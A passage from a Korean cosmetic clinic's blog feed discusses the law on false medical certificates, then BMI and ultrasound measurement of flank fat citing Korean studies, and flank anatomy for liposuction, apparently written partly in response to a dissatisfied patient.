작성죄가 성립하려면 허위의 내용, 즉 진실이 아닌 내용을 진단서 등에 기재하여 작성하는 것이다. 이 죄에서 허위의 내용은 사실에 관한 것이든 판단에 관한 것이든 모두 포함한다. 사실에 관한 것으로는 사망일시, 치료의 여부와 치료기간, 입원기간 또는 진료일시에 대한 기재도 허위의 대상이 될 수 있다. 판단에 관한 것으로는 주로 병명(病名)과 사인(死因) 등이며 더불어 향후 치료 소견 등도 포함한다. 그러나 의사가 직접 진찰하지 않았는데도 진단서를 작성하였다면 의료법 제17조 위반에 해당할 뿐이고 허위진단서 작성죄에 해당하지 않는다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;이 죄는 본디 허위를 증명하지 못하게 할 취지이므로 기재한 내용이 실제로 진실에 반한 것이어야 한다. 만약 진단서를 작성한 의사가 허위라고 생각하고 기재하였을지라도 기재된 내용이 객관적 진실과 일치한다면 허위진단서라고 할 수 없다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;이 죄가 성립하려면 고의(故意)가 있어야 한다. 의사가 자기가 작성하는 것이 진단서라는 사실과 그 내용이 허위라는 사실을 인식하고 인용하여야 한다. 의사가 진찰을 소홀히 하거나 오진(誤診)하여 진단서에 진실이 아닌 사실이나 판단을 기재하였다면 고의를 인정할 수 없다. 요컨대 &#039;오진진단서&#039;가 바로 &#039;허위진단서&#039;는 아니다. 만약 환자가 의사를 속여 진단서를 작성하도록 하였다면, 의사가 속아서 진단서를 작성하였을 뿐이고 허위진단서를 작성한다는 고의가 없었다고 볼 여지 가 크다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;진단서의 규범적 판단 &lt;/h4&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;허위진단서의 내용은 사실에 관한 것은 물론이고 판단에 관한 것도 포함한다. 진단명(병명)은 대표적으로 판단에 관한 것이다. 의료법 시행규칙 제9조 제1항에 는 진단서에 기재할 내용 가운데 &quot;4. 향후 치료에 대한 소견&quot;이 있고, 상해진단서라면 제2항에 &quot;3. 치료기간, 4. 입원의 필요 여부, 5. 외과적 수술 여부, 6. 합병증 의 발생 가능 여부, 7. 통상활동의 가능 여부, 8. 식사의 가능 여부, 9. 상해에 대한 소견&quot; 등이 모두 판단에 관한 내용이다. 진단서나 상해진단서의 기재 내용에서 판단에 관한 것들은 모두 의학적 판단이 필요한 내용이므로 기재할 수 있는 내용을 모두 기재할 수 있다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;규범적 판단이란 법률이나 각 단체에서 정한 규정 등이 정한 기준에 해당하는지 여부를 포함한다. 예를 들어 &quot;등교하여 수업을 받을 수 없다&quot;든지 &quot;수형(受刑) 생활을 할 수 없다&quot;, &quot;영업용 택시 운전이 불가능하다&quot; 등의 판단은 규범적 판단이다. 비교적 객관적인 규범적 판단으로는 &quot;신체장해 제3급에 해당한다&quot;거나 &quot;노동 능력상실률은 67%다&quot; 등이 있다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;신체장애 등급이나 노동능력상실률 판단처럼 객관적 기준이 있고 진찰한 결과를 비교적 쉽게 적용할 수 있는 규범적 판단은 의사, 특히 해당 분야 전문의들이 적극적으로 수행해야 할 분야다. 그러나 객관적 기준이 없는 규범적 판단이라면 될 수 있는 대로 의학적으로만 판단하고 규범적 판단은 전문가 집단 또는 위원회 등에게 미루는 것이 타당하다. 예를 들어 전에 위암 때문에 ｢위 부분절제술｣ (subtotal gastrectomy)을 받은 사람이 범죄를 저질러 교도소에 있는데 병(病) 보석 (保釋)을 목적으로 진단서 교부를 요구하였는데, 의무기록에 근거하여 진단명을 &#039;위암&#039; 또는 &#039;위 부분절제술 후 상태&#039;로 기재한 것은 당연하고, 향후 치료에 대한 소견에 환자 가족의 부탁으로 &quot;위 부분절제술로 위의 상당 부분을 절제한 상태이므로 식사를 소량 자주 할 것으로 판단함&quot;이라고 기재한 것까지는 당연한 의학적 판단이므로 가능하다. 그러나 덧붙여 &quot;수형 생활을 하기가 매우 어려울 것으로 생각함&quot;이라는 판단은 의사가 판단할 수 있는 범위를 지나친 규범적 판단에 해당 할 수 있다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;지방법원 판결(2014. 2. 7. 선고 서울서부지방법원 2013고합269 판결)은 &quot;환자 의 의학적·사실적 상태에 대한 판단을 전제로 하여 향후 치료 의견을 열거하면서 그 환자가 수감생활이 가능할지 여부에 대해서 판단을 하였다면, 이는 의사가 자신이 가진 전문적 지식 및 환자의 상태에 대한 기본적 정보를 바탕으로 판단을 한 것으로 이에 대하여는 당연히 진실성을 담보하여야 하는 책임을 가진다.&quot;고 하여 당연히 허위진단서의 판단 대상으로 보았다. 당해 사건의 피고인은 1심에서는 유죄 판결을 받고 항소하였다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;진단서의 기재사항&lt;/h4&gt; &lt;p&gt;의료법 시행규칙 제9조 진단서의 기재사항 &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/679/489/./files/attach/images/251145/679/489/f61213f7f88a90d5f926f144126b7836.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;진단서의 서식&lt;/h4&gt; &lt;p&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/679/489/./files/attach/images/251145/679/489/3b703a7bd4d1e093744003098ab316ac.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;읽어 주셔서 감사합니다. 비너스의원 원장 정원호&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 참고하세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489646&quot;&gt;1. 러브핸들에 대한 용어에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489652&quot;&gt;2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489664&quot;&gt;3. BMI 와 옆구리(러브핸들)의 초음파 피하지방층 두께측정에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489679&quot;&gt;4. 진단서 작성법과 허위진단서&lt;/a&gt;&lt;/p&gt;</content>			</entry><entry>
		<title>3. BMI 와 옆구리(러브핸들)의 초음파 피하지방층 두께측정에 대하여</title>
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		<published>2017-05-15T11:44:58+09:00</published>
		<updated>2018-05-22T00:25:49+09:00</updated>
		<author>
			<name>drpiggy</name>
		</author>
		<summary type="text">3. BMI 와 옆구리(러브핸들)의 초음파 피하지방층 두께측정에 대하여 의사로서 저 나름대로 수술에 최선을 다했지만, debakbuja님은 제 수술에 만족하지 못하셨고, 강남K의원의 C원장은 초음파를 이용하여 debakbuja님의 피하지방층의 두께를 측정하고 러브핸들 부위의 두께가 28mm 이며, 제가 이미 수술한 부위인 옆구리의 경우 12-14mm 남아 있다고 하였습니다. 오늘 저는 최대한 객관적인 관점에서 체질량지수에 따른 실제 체형...</summary>
	<content type="html">&lt;h3 class=&quot;head-line mBottom60&quot;&gt;&lt;span&gt;3. BMI 와 옆구리(러브핸들)의 초음파 피하지방층 두께측정에 대하여&lt;/span&gt;&lt;/h3&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;의사로서 저 나름대로 수술에 최선을 다했지만, debakbuja님은 제 수술에 만족하지 못하셨고, 강남K의원의 C원장은 초음파를 이용하여 debakbuja님의 피하지방층의 두께를 측정하고 러브핸들 부위의 두께가 28mm 이며, 제가 이미 수술한 부위인 옆구리의 경우 12-14mm 남아 있다고 하였습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;오늘 저는 최대한 객관적인 관점에서 체질량지수에 따른 실제 체형의 모습을 보여드리며, 한국인을 대상으로 초음파를 이용하여 측정한 옆구리 두께에 대해 말씀 드리고자 합니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&#039;러브핸들&#039; 이란 용어에 대해서는 관련 문서를 참고하시길 바랍니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;체질량지수(BMI)는 키와 몸무게를 이용하여 체내에 지방량이 얼마나 되는지를 산출함으로서 비만인지 아닌지를 판단하는 지수이며, 비만도의 지표로 가장 널리 쓰이고 있습니다. 체질량지수 비만도측정에는 체지방측정기가 필요하지 않습니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;BMI=체중(kg)÷{신장(m)×신장(m)} &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;div class=&quot;bs-callout bs-callout-info&quot;&gt; &lt;p&gt;체질량지수(BMI): kg/m2 &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; 저체중 ; &amp;lt; 18.5 : 저체중입니다. &lt;/p&gt; &lt;p&gt;정상 : 18.5 ~ 22.9 : 정상체중입니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;과체중: 23 ~ 24.9 : 과체중입니다. 약간 통통한 편입니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;경도비만 : 25 ~ 29.9 : 비만체중입니다. 다이어트및 운동요법이 필요합니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;고도비만: 30 ~ : 고도비만으로 진단되었습니다. 비만처방및 운동프로그램으로 관리하셔야 합니다. &lt;/p&gt; &lt;/div&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;BMI에 따라 실제 모습을 비교 할 수 있도록 BMI 별 사진을 준비하였으며, 비너스의원에서 옆구리의 초음파 측정 위치는 배꼽라인과 후측 액와라인 (Posterior axillary line)이 만나는 곳의 외사근이 위치한 피하 지방층 부위입니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/077c03c4c5ee8c5c7bbf67dd4c65a7b4.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/9298e05c3179f139afb1836b108e9be8.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/8231a7bccae8ec6e321700c8759a548f.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/d57f7cb8dc4423318e38f9a7f223a4f6.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/367a6be5bf95492ea97a8f518c7ae20b.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/1a4d2d0f4dc824fdfa49a5314a291398.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/c59a18e1dc74395ba1a1a32c4bbba8ec.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/c8fecaef2fd8917ddb970c10cb5e0662.png&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/ad9753a3d0fb3c62761a63f07c41fd27.png&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/18794a0a8fc214ee8ceeef1a2b83507f.png&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/22140e707442677b0e088f3dbc9ec293.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;h4&gt;다음은 옆구리 지방층 두께를 초음파로 측정한 논문을 소개합니다. &lt;/h4&gt; &lt;p&gt; &lt;/p&gt; &lt;h3 class=&quot;page-header mBottom60&quot;&gt;첫번째 논문&lt;/h3&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;Thickness of rectus abdominis muscle and abdominal subcutaneous fat tissue in adult women: correlation with age, pregnancy, laparotomy, and body mass index. &lt;/p&gt; &lt;p&gt;Kim J, Lim H, Lee SI, Kim YJ. Arch Plast Surg. 2012 Sep;39(5):528-33. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot;&gt;그림1&lt;/h5&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/d1c6f7f86d6ee6156d787567fb017bb2.png&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot;&gt;표1&lt;/h5&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/65ce3566c7f0e34012e798754771c465.png&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;위 논문은 가천대학교 성형외과에서 2012년도에 흉벽, 복벽, 질, 항문주위 결손에 대한 재건에 중요한 복직근과 복부의지방조직이 환자의 나이나 산과력, 복부 수술기왕력, BMI 에 따른 두께의 연관성을 추측하기 위한 후향적 연구논문입니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;2010년부터 2012년 까지 가천 길병원에 방문한 총 545명의 여성을 대상으로, 평균 환자의 연령은 43세(20-60)였으며, 평균 BMI는 23.35 kg/m2 (range, 15.35 to 38.05 kg/m2) 였습니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;표1에서 보듯이 측정된 복부의 배곱 양측면 5Cm 거리에서 측정한 피하지방층의 두께는 각각 우측이 24.31 ± 8.04 이고 좌측이 23.39 ± 7.92 였습니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;그러나 그림1의 CT 사진에서 알 수 있듯이 양측면에 있는 옆구리(러브핸들)의 부위의 지방층은 주로 한층으로 되어있고, 앞복부의 측정치의 약 절반으로 추정되므로 한국여성의 평균 옆구리의 평균 지방층 두께는 12 ± 4 mm 정도로 추정 할 수 있을 것입니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h3 class=&quot;page-header mBottom60&quot;&gt;두번째 논문&lt;/h3&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;Abdominal Subcutaneous Fat Thickness Measured by Ultrasonography Correlates with Hyperlipidemia and Steatohepatitis in Obese Children. &lt;/p&gt; &lt;p&gt;Lee SH, Kim D, Baek MY, Tchah H, Kim YS, Ryoo E, Kim YM.Pediatr Gastroenterol Hepatol Nutr. 2015 Jun;18(2):108-14. &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;이 연구 역시 가천길병원에서 초음파로 측정한 복부피하지방층과 고지혈증과 지방간염의 연관성이 있는지 평가하기 위한 논문입니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;2001년에서 2013년까지 166명의 남녀 청소년들을 대상으로 측정하였으며, 연령별 4 그룹으로 나누어 Group A(2-5세), Group B(6-8세), Group C(9-11세), 그리고 Group D(12-14세)이며 측정치는 아래와 같습니다. &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot;&gt;표1 &lt;/h5&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;100%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/664/489/./files/attach/images/251145/664/489/24397eb2020380cc3eacec97f6864b9a.png&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;MASFT 는 복부 정중앙부위로 배꼽에서 1 Cm 하방에서 측정한 피하지방층 두께이며, RFASFT 는 우측 옆구리에서 측정한 지방층 두께입니다. &lt;/p&gt; &lt;p&gt;그룹C의 경우 평균 몸무게가 56.5kg, 키 146.8로 BMI 26의 비만아동의 평균 옆구리 두께는 2.2±0.8 입니다.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;또한, 그룹D의 경우, 몸무게 74.7kg, 키 160.4로 BMI 28.9 의 비만청소년의 경우 옆구리 두께는 2.3±0.8 정도의 두께로 보고하고 있습니다.&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot;&gt;표2&lt;/h5&gt; &lt;table class=&quot;table table-hover table-striped &quot;&gt;&lt;colgroup&gt;&lt;col /&gt;&lt;col /&gt;&lt;col /&gt;&lt;/colgroup&gt;&lt;thead&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;BMI&lt;/p&gt; &lt;/td&gt;&lt;td&gt;&lt;p&gt;RFASFT&lt;/p&gt; &lt;/td&gt;&lt;td&gt;&lt;p&gt;SD&lt;/p&gt; &lt;/td&gt;&lt;/tr&gt; &lt;/thead&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td&gt;&lt;p&gt;23.2&lt;/p&gt; &lt;/td&gt;&lt;td&gt;&lt;p&gt;1.6&lt;/p&gt; &lt;/td&gt;&lt;td&gt;&lt;p&gt;0.7&lt;/p&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;23.8&lt;/p&gt; &lt;/td&gt;&lt;td&gt;&lt;p&gt;1.8&lt;/p&gt; &lt;/td&gt;&lt;td&gt;&lt;p&gt;0.6&lt;/p&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;25.9&lt;/p&gt; &lt;/td&gt;&lt;td&gt;&lt;p&gt;2.1&lt;/p&gt; &lt;/td&gt;&lt;td&gt;&lt;p&gt;0.8&lt;/p&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;26&lt;/p&gt; &lt;/td&gt;&lt;td&gt;&lt;p&gt;2.2&lt;/p&gt; &lt;/td&gt;&lt;td&gt;&lt;p&gt;0.8&lt;/p&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;28.9&lt;/p&gt; &lt;/td&gt;&lt;td&gt;&lt;p&gt;2.3&lt;/p&gt; &lt;/td&gt;&lt;td&gt;&lt;p&gt;0.8&lt;/p&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;표2는 표1의 체질량지수별 우측 옆구리 지방층의 두께를 표로 정리한 것으로 체질량지수(BMI)와 우측 옆구리 두께는 피어슨 상관계수 0.92로 강한 선형의 관계가 있음을 알 수 있습니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;체질량지수가 21.4 의 경우 단순회귀 예측에 의해 추정되는 옆구리 피하지방층 평균두께는 1.5 ± 0.13 Cm 가량 될 것이며 95% 신뢰구간은 0.91 에서 2.08 cm 입니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 참고하세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489646&quot;&gt;1. 러브핸들에 대한 용어에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489652&quot;&gt;2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489664&quot;&gt;3. BMI 와 옆구리(러브핸들)의 초음파 피하지방층 두께측정에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489679&quot;&gt;4. 진단서 작성법과 허위진단서&lt;/a&gt;&lt;/p&gt;</content>			</entry><entry>
		<title>2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여</title>
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		<published>2017-05-15T11:44:07+09:00</published>
		<updated>2018-11-02T04:23:36+09:00</updated>
		<author>
			<name>drpiggy</name>
		</author>
		<summary type="text">2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여 앞서 러브핸들에 대한 용어와 그 부위에 대해 설명드렸습니다. 이번에는 옆구리의 해부학적 구조애 대해 설명드리겠습니다. 아래 그림은 인체의 요추부위를 기준으로 횡단면의 모습입니다. 전면, 측면, 후면으로 나누어 설명하고 있으며, 몸통의 측면이 옆구리(flank)로 되어 있습니다. 전면과 측면을 합하여 전측면으로 되어 있습니다. 저희 비너스의원의 경우 대부분...</summary>
	<content type="html">&lt;h3 class=&quot;head-line mBottom60&quot;&gt;&lt;span&gt;2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여&lt;/span&gt;&lt;/h3&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;p&gt;앞서 러브핸들에 대한 용어와 그 부위에 대해 설명드렸습니다. 이번에는 옆구리의 해부학적 구조애 대해 설명드리겠습니다. 아래 그림은 인체의 요추부위를 기준으로 횡단면의 모습입니다. 전면, 측면, 후면으로 나누어 설명하고 있으며, 몸통의 측면이 옆구리(flank)로 되어 있습니다. 전면과 측면을 합하여 전측면으로 되어 있습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;p&gt;저희 비너스의원의 경우 대부분 양측 골반의 장골부위 즉 AIIS(전하방 장골극) 뒤 ASIS (전상방 장골극) 하방에 절개구를 두고 복부 지방흡입 수술을 하고 있으며 반듯이 누워서 복부의 전측면의 수술이 가능합니다. 그러나 후측면의 수술을 함께 하여 원통형 수술을 해야 하는 경우 꼬리뼈 부위에 절개구를 두고 엎드린 자세를 취하여 몸통의 후면의 지방을 흡입하고 있습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/652/489/./files/attach/images/251145/652/489/25e8275a25138143a5ceb7199b61b1c8.png&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 그림은 요추 등부위의 근육의 배치를 보여주는 그림으로 복부의 측면근육인 외사근, 내사근, 횡근등이 모아지고 광배근 (latissimus dorsi) 근육과 이어지며 척추를 지지하는 척추기립근(Erector spinae) 근육으로 이어지고 있습니다. &lt;/p&gt; &lt;p&gt;여기에서 몸통의 측면 부위는 외사근이 주로 위치하고 있음을 알 수 있으며, 옆구리(러브핸들) 부위의 위치라고 볼 수 있습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/652/489/./files/attach/images/251145/652/489/1b85d2a54ee5e229808cbcab3b978e67.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 사진은 저희 비너스의원에서 지방흡입 수술전에 체크한 복부초음파 사진으로 외사근과 광배근의 경계부위를 촬영한 것입니다. 수술전 신장 159.8 cm, 체중 65.2 kg 체질량지수 BMI 25.5 분입니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;45%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/652/489/./files/attach/images/251145/652/489/2bcb30aab818ce1edb2a8fb19c7fbf60.png&quot; alt=&quot;&quot; /&gt; &lt;img width=&quot;45%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/652/489/./files/attach/images/251145/652/489/52b68937ae5a88467f2851d0a0e7c146.png&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;초음파상 몸통 측면의 경우 대부분 지방층은 1층이나 척추방향 뒤쪽으로 갈수록 